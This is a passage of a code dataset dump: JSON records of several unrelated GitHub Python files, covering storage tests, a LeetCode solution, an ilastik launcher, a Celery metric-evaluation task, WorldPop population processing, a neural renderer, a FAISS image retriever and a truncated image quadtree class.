stopped.\\n')\n","repo_name":"siminegroup/E2EDNA2","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":41202,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"3"}
+{"seq_id":"29184593437","text":"from infra.rsc.src.model.storage import IndexedStorage, PodIndexedStorage\nimport yp.data_model as data_model\n\n\ndef test_indexed_storage():\n    pod_set1 = data_model.TPodSet()\n    pod_set1.meta.id = 'ps1'\n    pod_set2 = data_model.TPodSet()\n    pod_set2.meta.id = 'ps2'\n    objs = [pod_set1, pod_set2]\n\n    storage = IndexedStorage.make_from_objs(objs)\n    assert set(storage.list_ids()) == {'ps1', 'ps2'}\n\n    storage2 = IndexedStorage()\n    storage2.put(storage.get('ps1'))\n    assert storage2.get('ps1') == pod_set1\n\n    storage.merge(storage2)\n    assert storage.get('ps2') is None\n\n    storage.replace([], 'today')\n    assert storage.list_ids() == []\n    assert storage.last_replace_time == 'today'\n\n\ndef test_pod_indexed_storage():\n    pod1, pod2, pod3 = [data_model.TPod() for _ in range(3)]\n    pod1.meta.id, pod1.meta.pod_set_id = 'p1', 'ps1'\n    pod2.meta.id, pod2.meta.pod_set_id = 'p2', 'ps1'\n    pod3.meta.id, pod3.meta.pod_set_id = 'p3', 'ps2'\n    pods = [pod3, pod2, pod1]\n\n    storage = PodIndexedStorage()\n    storage.put(pod1)\n    storage.last_replace_time = 'yesterday'\n    assert storage.list_by_ps_id('ps1') == [pod1], storage.list_by_ps_id('ps2') == []\n\n    storage.replace(pods, 'today')\n    assert storage.list_by_ps_id('ps1') == [pod2, pod1], storage.list_by_ps_id('ps2') == [pod3]\n    assert storage.last_replace_time == 'today'\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"infra/tests/unit/test_storage (2).py","file_name":"test_storage (2).py","file_ext":"py","file_size_in_byte":1354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"23404302690","text":"from typing import List\n\nclass Solution:\n    def letterCombinations(self, digits: str) -> List[str]:\n        res = []\n        phoneletters = {\n            2: 'abc', 3: 'def', 4: 'ghi', 5: 'jkl', 6: 'mno', 7:'pqrs', 8:'tuv', 9:'wxyz' \n        }\n\n        def backtrack(i, current_string):\n            # print(f\"backtrack function: i:{i}, cur str: {current_string}\")\n            # print(f\"res: {res}\")\n            if len(current_string) == len(digits):\n                res.append(current_string)\n                return\n            for c in phoneletters[int(digits[i])]:\n                backtrack(i+1, current_string + c)\n        if digits:\n            backtrack(0,\"\")\n\n        return res\n\n\ns= Solution()\nprint(s.letterCombinations('23'))\n","repo_name":"moidshaikh/hackerranksols","sub_path":"leetcode/lc17_letter_combinations_of_phone_number.py","file_name":"lc17_letter_combinations_of_phone_number.py","file_ext":"py","file_size_in_byte":735,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"42695952333","text":"#!/usr/bin/env python\n\nimport os \nimport functools\nfrom carvingWorkflow import CarvingWorkflow\nfrom ilastik.applets.base.appletSerializer import getOrCreateGroup, deleteIfPresent # ilp-File-Management\nimport h5py\n\n#//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////\n\nif __name__ == \"__main__\":\n    import lazyflow\n    from ilastik.shell.gui.startShellGui import startShellGui\n    import logging\n    logging.basicConfig(level=logging.INFO)\n    \n    graph = lazyflow.graph.Graph()\n    \n    from optparse import OptionParser\n    usage = \"%prog [options] <carving graph filename> <project filename to be created>\"\n    parser = OptionParser(usage)\n    parser.add_option(\"--hintoverlay\",\n                  dest=\"hintoverlayFile\", default=None,\n                  help=\"specify a file which adds a hint overlay\")\n     \n    parser.add_option(\"--pmapoverlay\",\n                  dest=\"pmapoverlayFile\", default=None,\n                  help=\"specify a file which adds a pmap overlay\")\n\n    options, args = parser.parse_args()\n    \n    if len(args)==0:\n        workflowKwargs={'hintoverlayFile' : options.hintoverlayFile,\n                        'pmapoverlayFile' : options.pmapoverlayFile }\n        \n        def loadProject(shell):\n            pass\n        \n        startShellGui(functools.partial(CarvingWorkflow, **workflowKwargs),loadProject)\n        \n    elif len(args)==1:\n        projectFilename = args[0]\n        \n        def loadProject(shell):\n            shell.openProjectFile(projectFilename)\n        \n        workflowKwargs={'hintoverlayFile' : options.hintoverlayFile,\n                        'pmapoverlayFile' : options.pmapoverlayFile }\n        startShellGui( functools.partial(CarvingWorkflow, **workflowKwargs), loadProject)\n        \n    elif len(args) == 2:\n        \n        carvingGraphFilename = os.path.abspath(args[0]).replace(\"\\\\\",\"/\")\n        projectFilename = args[1]\n        \n        projectFile = h5py.File(projectFilename)\n        \n        preproc = getOrCreateGroup(projectFile,\"preprocessing\")\n        \n        deleteIfPresent(preproc, \"sigma\")\n        deleteIfPresent(preproc, \"filter\")\n        deleteIfPresent(preproc, \"StorageVersion\")\n        deleteIfPresent(preproc, \"graph\")\n        deleteIfPresent(preproc, \"graphfile\")\n        \n        preproc.create_dataset(\"sigma\",data= 1.6)\n        preproc.create_dataset(\"filter\",data= 0)\n        preproc.create_dataset(\"graphfile\",data = carvingGraphFilename)\n        preproc.create_dataset(\"StorageVersion\",data = 0.1)\n        \n        preproc = getOrCreateGroup(projectFile,\"preprocessing\")\n        dataSelect = getOrCreateGroup(projectFile,\"Input Data\")\n        dataInfo = getOrCreateGroup(dataSelect,\"infos\")\n        dataThisInfo = getOrCreateGroup(dataInfo,\"info0000\")\n        deleteIfPresent(dataThisInfo,\"filePath\")\n        deleteIfPresent(dataThisInfo,\"location\")\n        deleteIfPresent(dataThisInfo,\"datasetId\")\n        \n        deleteIfPresent(dataThisInfo,\"allowLabels\")\n        dataThisInfo.create_dataset(\"filePath\",data = carvingGraphFilename+\"/graph/raw\")\n        dataThisInfo.create_dataset(\"location\",data = \"FileSystem\")\n        dataThisInfo.create_dataset(\"datasetId\",data = \"E42\")\n        dataThisInfo.create_dataset(\"allowLabels\",data = True)\n        \n        def loadProject(shell):\n            shell.openProjectFile(projectFilename)\n\n        workflowKwargs={'hintoverlayFile' : options.hintoverlayFile,\n                        'pmapoverlayFile' : options.pmapoverlayFile }\n        startShellGui( functools.partial(CarvingWorkflow, **workflowKwargs), loadProject)\n    else:\n        parser.error(\"incorrect number of arguments %d, expected at most 2\" % len(args))\n","repo_name":"burgerdev/ilastik","sub_path":"ilastik/workflows/carving/carving.py","file_name":"carving.py","file_ext":"py","file_size_in_byte":3719,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"}
+{"seq_id":"41296138291","text":"import datetime\nimport json\nimport logging\nfrom typing import Dict, List\n\nimport requests\nfrom bson import ObjectId\nfrom celery.utils.log import get_task_logger\nfrom evaluate import load\nfrom fastapi import APIRouter, Depends, Request\nfrom fastapi.exceptions import HTTPException\nfrom square_auth.auth import Auth\n\nfrom evaluator.app import mongo_client\nfrom evaluator.app.core import DatasetHandler\nfrom evaluator.app.core.dataset_handler import DatasetDoesNotExistError\nfrom evaluator.app.core.dataset_metadata import get_dataset_metadata\nfrom evaluator.app.core.metric_formatters import Formatter, MetricFormattingError\nfrom evaluator.app.models import (\n    EvaluationStatus,\n    Metric,\n    MetricResult,\n    PredictionResult,\n)\nfrom evaluator.app.routers import client_credentials\n\nfrom .celery import app as celery_app\n\nlogger = get_task_logger(__name__)\n\n\n@celery_app.task\ndef evaluate(\n    skill_id: str,\n    dataset_name: str,\n    metric_name: str,\n):\n    try:\n        logger.info(\n            f\"Started evaluation-task for skill '{skill_id}' and dataset '{dataset_name}' on metric '{metric_name}'\"\n        )\n        if hasattr(mongo_client, \"client\") == False:\n            mongo_client.connect()\n        do_evaluate(skill_id, dataset_name, metric_name)\n    except Exception as e:\n        logger.error(f\"{e}\")\n        evaluation_filter = {\n            \"skill_id\": ObjectId(skill_id),\n            \"dataset_name\": dataset_name,\n            \"metric_name\": metric_name,\n        }\n        mongo_client.client.evaluator.evaluations.update_many(\n            evaluation_filter,\n            {\n                \"$set\": {\n                    \"metric_status\": EvaluationStatus.failed,\n                    \"metric_error\": f\"{e}\",\n                }\n            },\n        )\n        raise e\n\n\ndef do_evaluate(\n    skill_id: str,\n    dataset_name: str,\n    metric_name: str,\n):\n    if hasattr(mongo_client, \"client\") == False:\n        mongo_client.connect()\n\n    evaluation_filter = {\n        \"skill_id\": ObjectId(skill_id),\n        \"dataset_name\": dataset_name,\n        \"metric_name\": metric_name,\n    }\n    mongo_client.client.evaluator.evaluations.update_many(\n        evaluation_filter, {\"$set\": {\"metric_status\": EvaluationStatus.started}}\n    )\n\n    # Load the metric\n    try:\n        metric = load(metric_name)\n    except FileNotFoundError:\n        raise ValueError(f\"Metric with name='{metric_name}' not found!\")\n\n    # Load the predictions for the given `skill_id` and `dataset_name`\n    try:\n        prediction_result = PredictionResult.from_mongo(\n            mongo_client.client.evaluator.predictions.find_one(\n                {\"skill_id\": ObjectId(skill_id), \"dataset_name\": dataset_name}\n            )\n        )\n        if prediction_result is None:\n            raise AttributeError\n    except AttributeError as e:\n        raise ValueError(\n            f\"Predictions for skill_id='{skill_id}' and dataset_name='{dataset_name}' not found!\"\n        )\n\n    # Load dataset metadata\n    dataset_metadata = get_dataset_metadata(dataset_name)\n\n    # Load the dataset\n    dataset_handler = DatasetHandler()\n    dataset = dataset_handler.get_dataset(dataset_name)\n\n    # map predictions into correct format (from skill output format to metric format)\n    predictions, sample_ids = Formatter().format_predictions(\n        metric_name, prediction_result.predictions\n    )\n\n    # map the dataset into a generic format\n    references = dataset_handler.to_generic_format(\n        dataset, dataset_metadata, sample_ids\n    )\n\n    # map references into correct format (from generic dataset format to metric format)\n    try:\n        references = Formatter().format_references(metric_name, references)\n    except MetricFormattingError as e:\n        logger.error(f\"{e}\")\n        raise ValueError(\n            f\"The dataset '{dataset_name}' cannot be evaluated on metric '{metric_name}'. Check the logs for more info.\"\n        )\n\n    # calculate metric\n    start_time = datetime.datetime.now()\n    try:\n        m = metric.compute(predictions=predictions, references=references)\n    except ValueError as e:\n        raise ValueError(\n            f\"Could not evaluate metric '{metric_name}' on dataset '{dataset_name}': {e}\"\n        )\n    calculation_time = (datetime.datetime.now() - start_time).total_seconds()\n\n    # save metric results in database\n    metric_result_identifier = {\"prediction_result_id\": prediction_result.id}\n    metric_result = MetricResult.from_mongo(\n        mongo_client.client.evaluator.results.find_one(metric_result_identifier)\n    )\n    if metric_result is None:\n        metric_result = MetricResult(\n            prediction_result_id=prediction_result.id,\n            skill_id=ObjectId(skill_id),\n            dataset_name=dataset_name,\n            metrics={},\n        )\n\n    metric = Metric(\n        last_updated_at=datetime.datetime.now(),\n        calculation_time=calculation_time,\n        results=m,\n    )\n    new_metrics = metric_result.metrics\n    new_metrics[metric_name] = metric\n\n    mongo_client.client.evaluator.results.replace_one(\n        metric_result_identifier, metric_result.mongo(), upsert=True\n    )\n\n    mongo_client.client.evaluator.evaluations.update_many(\n        evaluation_filter,\n        {\"$set\": {\"metric_status\": EvaluationStatus.finished, \"metric_error\": None}},\n    )\n\n    logger.info(f\"New metric result: {metric_result}\")\n    return metric_result.metrics[metric_name].dict()\n","repo_name":"UKP-SQuARE/square-core","sub_path":"evaluator/evaluator/tasks/evaluate_task.py","file_name":"evaluate_task.py","file_ext":"py","file_size_in_byte":5419,"program_lang":"python","lang":"en","doc_type":"code","stars":67,"dataset":"github-code","pt":"3"}
+{"seq_id":"9812222277","text":"file = open('input.txt', 'r')\nLines = [list(line.strip()) for line in file.readlines()]\n\ncolumns = [line for line in zip(*Lines)]\n\nvisible = 0\nvisible += (len(Lines[0])*2)+(len(columns[0])*2)-4\n\nvisibility = 0\n\ndef count_visible_trees(tree_list, tree):\n    countvis = 0\n    if len(tree_list) != 0:\n        for h in tree_list:\n            if int(h) < tree:\n                countvis += 1\n            elif int(h) >= tree:\n                countvis += 1\n                break\n        return countvis\n    else:\n        return 0\n\ndef visible_from(tree_list, tree):\n    if len(tree_list) != 0 and all(int(h) < tree for h in tree_list):\n        return True\n    else:\n        False\n\nfor r, line in enumerate(Lines):\n    if r == 0 or r == len(Lines[0])-1:\n        next\n    else:\n        for c, column in enumerate(columns):\n            if c == 0 or c == len(columns[0])-1:\n                next\n            else:\n                tree = int(line[c])\n                #Part 1\n                if visible_from(line[0:c], tree) or visible_from(line[c+1:], tree) or visible_from(column[0:r], tree) or visible_from(column[r+1:], tree):\n                    visible += 1\n                #Part 2\n                left = right = top = bottom = 0\n                left = count_visible_trees(list(reversed(line[0:c])), tree)\n                right = count_visible_trees(line[c+1:], tree)\n                top = count_visible_trees(list(reversed(column[0:r])), tree)\n                bottom = count_visible_trees(column[r+1:], tree)\n                visibility = max(visibility, left*right*top*bottom)\nprint(visible)\nprint(visibility)","repo_name":"nonmaterialistically/advent-of-code","sub_path":"2022/day 8 /main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1601,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"1255528483","text":"# module that reads WorldPop tiff files and populates the exposure file\nimport os\nimport datetime\nimport itertools\nimport getpass\nfrom pathlib import Path\n\nimport pandas as pd\nimport rasterio\nfrom rasterio.mask import mask\n\nfrom covid_model_parametrization.utils import utils\nfrom covid_model_parametrization.config import Config\nimport logging\n\n\nlogger = logging.getLogger(__name__)\n\n\ndef exposure(country_iso3, download_worldpop=False, config=None):\n\n    # Get parameters file\n    if config is None:\n        config = Config()\n    parameters = config.parameters(country_iso3)\n    input_dir = os.path.join(config.DIR_PATH, config.INPUT_DIR, country_iso3)\n\n    # Get input boundary shape file\n    ADM2boundaries = utils.read_in_admin_boundaries(config, parameters, country_iso3)\n\n    # Download the worldpop data\n    if download_worldpop:\n        get_worldpop_data(country_iso3, input_dir, config)\n\n    # gender and age groups\n    gender_age_groups = list(\n        itertools.product(config.GENDER_CLASSES, config.AGE_CLASSES)\n    )\n    for gender_age_group in gender_age_groups:\n        gender_age_group_name = f\"{gender_age_group[0]}_{gender_age_group[1]}\"\n        logger.info(f\"analyising gender age {gender_age_group_name}\")\n        input_tiff_file = os.path.join(\n            input_dir,\n            config.WORLDPOP_DIR,\n            config.WORLDPOP_FILENAMES[\"sadd\"].format(\n                country_iso3=country_iso3.lower(),\n                gender=gender_age_group[0],\n                age=gender_age_group[1],\n            ),\n        )\n        raster = rasterio.open(input_tiff_file)\n        ADM2boundaries[gender_age_group_name] = (\n            ADM2boundaries['geometry'].apply(lambda x: mask(raster, [x], crop=True, nodata=0)[0].sum()))\n\n    # get total pops\n    for pop_type, cname in zip([\"pop\", \"unadj\"], [\"tot_pop_WP\", \"tot_pop_UN\"]):\n        logger.info(f\"adding {pop_type}\")\n        input_tiff_pop = os.path.join(\n            input_dir,\n            config.WORLDPOP_DIR,\n            config.WORLDPOP_FILENAMES[pop_type].format(country_iso3=country_iso3.lower()),\n        )\n        raster = rasterio.open(input_tiff_pop)\n        ADM2boundaries[cname] = (\n            ADM2boundaries['geometry'].apply(lambda x: mask(raster, [x], crop=True, nodata=0)[0].sum()))\n\n    # total from disaggregated\n    logger.info(\"scaling SADD data to match UN Adjusted population estimates\")\n    gender_age_group_names = [\n        \"{}_{}\".format(gender_age_group[0], gender_age_group[1])\n        for gender_age_group in gender_age_groups\n    ]\n    for index, row in ADM2boundaries.iterrows():\n        tot_UN = row[\"tot_pop_UN\"]\n        tot_sad = row[gender_age_group_names].sum()\n        try:\n            ADM2boundaries.loc[index, gender_age_group_names] *= tot_UN / tot_sad\n        except ZeroDivisionError:\n            region_name = row[f'ADM2_{parameters[\"admin\"][\"language\"]}']\n            logger.warning(\n                f\"The sum across all genders and ages for admin region {region_name} is 0\"\n            )\n\n    if \"pop_co\" in parameters:\n        print(\"Further scaling SADD data to match CO estimates\")\n        # scaling at the ADM1 level to match figures used by Country Office instead of UN stats\n        input_pop_co_filename = os.path.join(\n            input_dir, config.CO_DIR, parameters[\"pop_co\"][\"filename\"]\n        )\n        df_operational_figures = pd.read_excel(input_pop_co_filename, usecols=\"A,D\")\n        df_operational_figures[\"Province\"] = df_operational_figures[\"Province\"].replace(\n            parameters[\"pop_co\"][\"province_names\"]\n        )\n        # creating dictionary and add pcode the pcode\n        ADM1_names = dict()\n        for k, v in ADM2boundaries.groupby(\"ADM1_EN\"):\n            ADM1_names[k] = v.iloc[0, :].ADM1_PCODE\n        df_operational_figures[\"ADM1_PCODE\"] = df_operational_figures[\"Province\"].map(\n            ADM1_names\n        )\n        if df_operational_figures[\"ADM1_PCODE\"].isnull().sum() > 0:\n            print(\n                \"missing PCODE for: \",\n                df_operational_figures[df_operational_figures[\"ADM1_PCODE\"].isnull()],\n            )\n        # get total by ADM1\n        tot_co_adm1 = df_operational_figures.groupby(\"ADM1_PCODE\").sum()[\n            \"Estimated Population - 2020\"\n        ]\n        tot_sad_adm1 = (\n            ADM2boundaries.groupby(\"ADM1_PCODE\")[gender_age_group_names]\n            .sum()\n            .sum(axis=1)\n        )\n        for index, row in ADM2boundaries.iterrows():\n            adm1_pcode = row[\"ADM1_PCODE\"]\n            pop_co = tot_co_adm1.get(adm1_pcode)\n            pop_sad = tot_sad_adm1.get(adm1_pcode)\n            ADM2boundaries.loc[index, gender_age_group_names] *= pop_co / pop_sad\n\n    ADM2boundaries[\"tot_sad\"] = ADM2boundaries.loc[:, gender_age_group_names].sum(\n        axis=1\n    )\n\n    # adding manually Kochi nomads\n    if \"kochi\" in parameters:\n        logger.info(\"Adding Kochi\")\n        ADM1_kochi = parameters[\"kochi\"][\"adm1\"]\n        # total population in these provinces\n        pop_in_kochi_ADM1 = ADM2boundaries[\n            ADM2boundaries[\"ADM1_PCODE\"].isin(ADM1_kochi)\n        ][\"tot_sad\"].sum()\n        for row_index, row in ADM2boundaries.iterrows():\n            if row[\"ADM1_PCODE\"] in ADM1_kochi:\n                tot_kochi_in_ADM2 = 0\n                for gender_age_group in gender_age_groups:\n                    # population weighted\n                    gender_age_group_name = (\n                        f\"{gender_age_group[0]}_{gender_age_group[1]}\"\n                    )\n                    kochi_pp = parameters[\"kochi\"][\"total\"] * (\n                        row[gender_age_group_name] / pop_in_kochi_ADM1\n                    )\n                    ADM2boundaries.loc[row_index, gender_age_group_name] = (\n                        row[gender_age_group_name] + kochi_pp\n                    )\n                    tot_kochi_in_ADM2 += kochi_pp\n                ADM2boundaries.loc[row_index, \"kochi\"] = tot_kochi_in_ADM2\n                comment = f\"Added in total {tot_kochi_in_ADM2} Kochi nomads to WorldPop estimates\"\n                ADM2boundaries.loc[row_index, \"comment\"] = comment\n\n    # Write to file\n    ADM2boundaries[\"created_at\"] = str(datetime.datetime.now())\n    ADM2boundaries[\"created_by\"] = getpass.getuser()\n    output_geojson = get_output_filename(country_iso3, config)\n    logger.info(f\"Writing to file {output_geojson}\")\n    utils.write_to_geojson(output_geojson, ADM2boundaries)\n\n\ndef get_worldpop_data(country_iso3, input_dir, config):\n    output_dir = os.path.join(input_dir, config.WORLDPOP_DIR)\n    Path(output_dir).mkdir(parents=True, exist_ok=True)\n    for age in config.AGE_CLASSES:\n        for gender in config.GENDER_CLASSES:\n            url = config.WORLDPOP_URL[\"age_sex\"].format(\n                country_iso3.upper(), country_iso3.lower(), gender, age\n            )\n            utils.download_ftp(url, os.path.join(output_dir, url.split(\"/\")[-1]))\n    for pop_type in [\"pop\", \"unadj\"]:\n        url = config.WORLDPOP_URL[pop_type].format(\n            country_iso3.upper(), country_iso3.lower()\n        )\n        utils.download_ftp(url, os.path.join(output_dir, url.split(\"/\")[-1]))\n\n\ndef get_output_filename(country_iso3, config):\n    output_dir = config.SADD_output_dir().format(country_iso3)\n    Path(output_dir).mkdir(parents=True, exist_ok=True)\n    return os.path.join(output_dir, config.EXPOSURE_GEOJSON.format(country_iso3))\n","repo_name":"OCHA-DAP/pa-COVID-model-parameterization","sub_path":"covid_model_parametrization/exposure.py","file_name":"exposure.py","file_ext":"py","file_size_in_byte":7376,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"3928172598","text":"from torch.nn import Sigmoid\n\nfrom varitex.data.keys_enum import DataItemKey as DIK\nfrom varitex.modules.custom_module import CustomModule\nfrom varitex.modules.unet import UNet\n\n\nclass Feature2ImageRenderer(CustomModule):\n    def __init__(self, opt):\n        super().__init__(opt)\n\n        n_input_channels = opt.texture_nc * 2  # We have two feature images: face and additive\n        self.unet = UNet(output_nc=4, input_channels=n_input_channels, features_start=opt.nc_feature2image,\n                         num_layers=opt.feature2image_num_layers)\n        self.probability = Sigmoid()\n\n    def forward(self, batch, batch_idx):\n        texture_enhanced = batch[DIK.FULL_FEATUREIMAGE]\n        tensor_out = self.unet(texture_enhanced)\n        mask_out = tensor_out[:, :1]  # First channel should be the foreground mask. Note that we keep the dimension\n        image_out = tensor_out[:, 1:]  # RGB image\n\n        # Should be close to 0 for the background\n        mask_proba = self.probability(mask_out)\n        batch[DIK.SEGMENTATION_PREDICTED] = mask_proba\n\n        batch[DIK.IMAGE_OUT] = image_out\n        return batch\n","repo_name":"mcbuehler/VariTex","sub_path":"varitex/modules/feature2image.py","file_name":"feature2image.py","file_ext":"py","file_size_in_byte":1120,"program_lang":"python","lang":"en","doc_type":"code","stars":64,"dataset":"github-code","pt":"3"}
+{"seq_id":"16096191394","text":"\"\"\"Topk Retriever\"\"\"\nfrom .utils import IMG_DatasetEncoder, get_image\nfrom .base_retriever import BaseRetriever\nimport torch\nfrom torch.utils.data import DataLoader\nfrom typing import Optional\nimport tqdm\nimport faiss\nimport copy\nimport numpy as np\n\nfrom transformers import AutoFeatureExtractor, AutoModel\nfrom typing import List, Optional\n\n\nclass ImageTopkRetriever(BaseRetriever):\n    \"\"\"Image Topk In-context Learning Retriever Class\n        Class of Topk Retriever.\n        \n    Attributes:\n        ice_separator (:obj:`str`, optional): A string that separates each in-context example.\n        ice_eos_token (:obj:`str`, optional): A string that is added to the end of in-context examples.\n        prompt_eos_token (:obj:`str`, optional): A string that is added to the end of the prompt.\n        ice_num (:obj:`int`, optional): The number of data in the in-context examples.\n        index_split (:obj:`str`, optional): A string for the index dataset name. The index dataset is used to select data for in-context examples. Defaults to ``train``.\n        test_split (:obj:`str`, optional): A string for the generation dataset name. The test dataset is used to generate prompts for each data. Defaults to ``test``.\n        index_ds (:obj:`Dataset`): The index dataset. Used to select data for in-context examples.\n        test_ds (:obj:`Dataset`): The test dataset. Used to generate prompts for each data.\n        accelerator (:obj:`Accelerator`, optional): An instance of the :obj:`Accelerator` class, used for multiprocessing.\n        batch_size (:obj:`int`, optional): Batch size for the :obj:`DataLoader`. \n        model (:obj:`SentenceTransformer`): An instance of :obj:`SentenceTransformer` class, used to calculate embeddings.\n        tokenizer (:obj:`AutoTokenizer`): Tokenizer for :obj:`model`.\n        index (:obj:`IndexIDMap`): Index generated with FAISS.\n    \"\"\"\n    model = None\n\n    def __init__(self,\n                 train_dataset,\n                 test_dataset,\n                 seed: Optional[int] = 43,\n                 ice_num: Optional[int] = 1,\n                 model_ckpt: Optional[str] = 'google/vit-base-patch16-224-in21k',\n                 batch_size: Optional[int] = 1,\n                 **kwargs) -> None:\n        super().__init__(train_dataset, test_dataset, seed, ice_num)\n        self.device = \"cuda\" if torch.cuda.is_available() else \"cpu\"\n        self.batch_size = batch_size\n        img_list = self.get_corpus_from_dataset(test_dataset)\n        gen_datalist = [get_image(image) for image in img_list]\n        self.model_ckpt = model_ckpt\n        self.extractor = AutoFeatureExtractor.from_pretrained(self.model_ckpt)\n        self.model = AutoModel.from_pretrained(self.model_ckpt)\n\n        self.encode_dataset = IMG_DatasetEncoder(gen_datalist, extractor=self.extractor)\n        self.dataloader = DataLoader(self.encode_dataset, batch_size=self.batch_size, collate_fn=lambda batch: {key: [dict[key] for dict in batch] for key in batch[0]})\n\n        self.model = self.model.to(self.device)\n        self.model.eval()\n\n        self.index = self.create_index()\n\n    def create_index(self):\n        self.select_datalist = self.get_corpus_from_dataset(self.index_ds)\n        self.select_datalist = [get_image(image) for image in self.select_datalist]\n        encode_datalist = IMG_DatasetEncoder(self.select_datalist, extractor=self.extractor)\n        dataloader = DataLoader(encode_datalist, batch_size=self.batch_size, collate_fn=lambda batch: {key: [dict[key] for dict in batch] for key in batch[0]})\n        index = faiss.IndexIDMap(faiss.IndexFlatIP(self.model.config.hidden_size))\n        res_list = self.forward(dataloader, process_bar=True, information=\"Creating index for index set...\")\n        id_list = np.array([res['metadata']['id'] for res in res_list])\n        self.embed_list = np.stack([res['embed'] for res in res_list])\n\n        if hasattr(self.test_ds, 'dataset_name') and self.test_ds.dataset_name == 'MMBench': # remove ices with the same question\n            remove_list = self.test_ds.circularidx\n            id_list = np.array([res['metadata']['id']  for res in res_list if res['metadata']['id'] not in remove_list])\n            self.embed_list = np.stack([res['embed'] for res in res_list if res['metadata']['id'] not in remove_list])\n        index.add_with_ids(self.embed_list, id_list) \n        \n        return index\n\n    def knn_search(self, ice_num):\n        res_list = self.forward(self.dataloader, process_bar=True, information=\"Embedding test set...\")\n        rtr_idx_list = [[] for _ in range(len(res_list))]\n        for entry in tqdm.tqdm(res_list):\n            idx = entry['metadata']['id']\n            embed = np.expand_dims(entry['embed'], axis=0)\n            near_ids = self.index.search(embed, ice_num + 1)[1][0].tolist() # n \n            near_ids = self.process_list(near_ids, idx, ice_num)\n            rtr_idx_list[idx] = near_ids\n        return rtr_idx_list\n\n    def forward(self, dataloader, process_bar=False, information = ''):\n        print(information)\n        res_list = []\n        _dataloader = copy.deepcopy(dataloader)\n        if process_bar:\n            _dataloader = tqdm.tqdm(_dataloader)\n        for _, entry in enumerate(_dataloader):\n            with torch.no_grad():\n                metadata = entry.pop(\"metadata\")\n                pixel_values = torch.stack(entry['pixel_values'], dim=0).to(self.device)\n                res = self.model(pixel_values).last_hidden_state[:, 0].detach().cpu().numpy()\n            res_list.extend([{\"embed\": r, \"metadata\": m} for r, m in zip(res, metadata)])\n        return res_list\n\n    def retrieve(self):\n        return self.knn_search(self.ice_num)\n    \n    def get_corpus_from_dataset(self, dataset) -> List[List]:\n        image_corpus = []\n        for entry in dataset:\n            image_corpus.append(entry['image_path'])\n        return image_corpus","repo_name":"OpenGVLab/LAMM","sub_path":"src/ChEF/instruction/ice_retriever/topk_retriever_img.py","file_name":"topk_retriever_img.py","file_ext":"py","file_size_in_byte":5874,"program_lang":"python","lang":"en","doc_type":"code","stars":122,"dataset":"github-code","pt":"3"}
+{"seq_id":"72119684242","text":"from PIL import Image, ImageStat\r\nimport os, glob\r\n\r\nimport ffmpeg\r\n\r\nclass ImageQuadtree:\r\n\tDEVIATIONTHRESHOLD = 2\r\n\tMAXDEPTH = 12\r\n\r\n\tdef setConstants(DEVIATIONTHRESHOLD, MAXDEPTH):\r\n\t\t\"\"\"\r\n\t\tDon't set DEVIATIONTHRESHOLD to less than 1 or MAXDEPTH to more than 26\r\n\t\t\"\"\"\r\n\t\tImageQuadtree.DEVIATIONTHRESHOLD = max(devthreshold, 1)\r\n\t\tImageQuadtree.MAXDEPTH = min(int(maxdepth), 26)\r\n\r\n\tdef __init__(self, im, rect = None, parent = None, depth = 1):\r\n\t\tself.im = im\r\n\t\tself.w, self.h = self.im.size\r\n\r\n\t\tif rect is None:\r\n\t\t\tself.rect = (0, 0, self.w, self.h)\r\n\r\n\t\telse:\r\n\t\t\tself.rect = rect\r\n\r\n\t\tself.depth = depth\r\n\r\n\t\tself.avColour, self.error = self.calculateAverageAndError()\r\n\r\n\t\tself.parent = parent\r\n\t\t\r\n\t\tself.nw = None\r\n\t\tself.ne = None\r\n\t\tself.sw = None\r\n\t\tself.se = None\r\n\r\n\tdef calculateAverageAndError(self):\r\n\t\timStat = ImageStat.Stat(self.im)\r\n\r\n\t\tav = [int(i) for i in imStat.rms]\r\n\t\ter = 0.3*imStat.stddev[0] + 0.6*imStat.stddev[1] + 0.1*imStat.stddev[2]\r\n\r\n\t\treturn imStat.rms, er\r\n\r\n\r\n\tdef decomposeImage(self):\r\n\t\tif self.error > ImageQuadtree.DEVIATIONTHRESHOLD and self.depth < ImageQuadtree.MAXDEPTH:\r\n\t\t\tself.createChildren()\r\n\t\t\treturn\r\n\r\n\r\n\tdef createChildren(self):\r\n\t\tchildw = self.w//2\r\n\t\tchildh = self.h//2\r\n\r\n\t\tcropCoordinates = {\r\n\t\t\t\"nw\" : (0, 0, childw, childh),\r\n\t\t\t\"ne\" : (childw, 0, self.w, childh),\r\n\t\t\t\"sw\" : (0, childh, childw, self.h),\r\n\t\t\t\"se\" : (childw, childh, self.w, self.h)\r\n\t\t}\r\n\r\n\t\tx, y = self.rect[:2]\r\n\r\n\t\tchildRect = {\r\n\t\t\t\"nw\" : (x, y, childw, childh),\r\n\t\t\t\"ne\" : (x + childw, y, self.w - childw, childh), \r\n\t\t\t\"sw\" : (x, y + childh, childw, self.h - childh),\r\n\t\t\t\"se\" : (x + childw, y + childh, self.w - childw, self.h - childh)\r\n\t\t}\r\n\r\n\t\tif self.w < 4 or self.h < 4:\r\n\t\t\treturn\r\n\r\n\t\tif True:\r\n\t\t\tself.nw = ImageQuadtree(self.im.crop(cropCoordinates[\"nw\"]), childRect[\"nw\"], self, self.depth + 1)\r\n\t\t\tself.ne = ImageQuadtree(self.im.crop(cropCoordinates[\"ne\"]), childRect[\"ne\"], self, self.depth + 1)\r\n\t\t\tself.sw = ImageQuadtree(self.im.crop(cropCoordinates[\"sw\"]), childRect[\"sw\"], self, self.depth + 1)\r\n\t\t\tself.se = ImageQuadtree(self.im.crop(cropCoordinates[\"se\"]), childRect[\"se\"], self, self.depth + 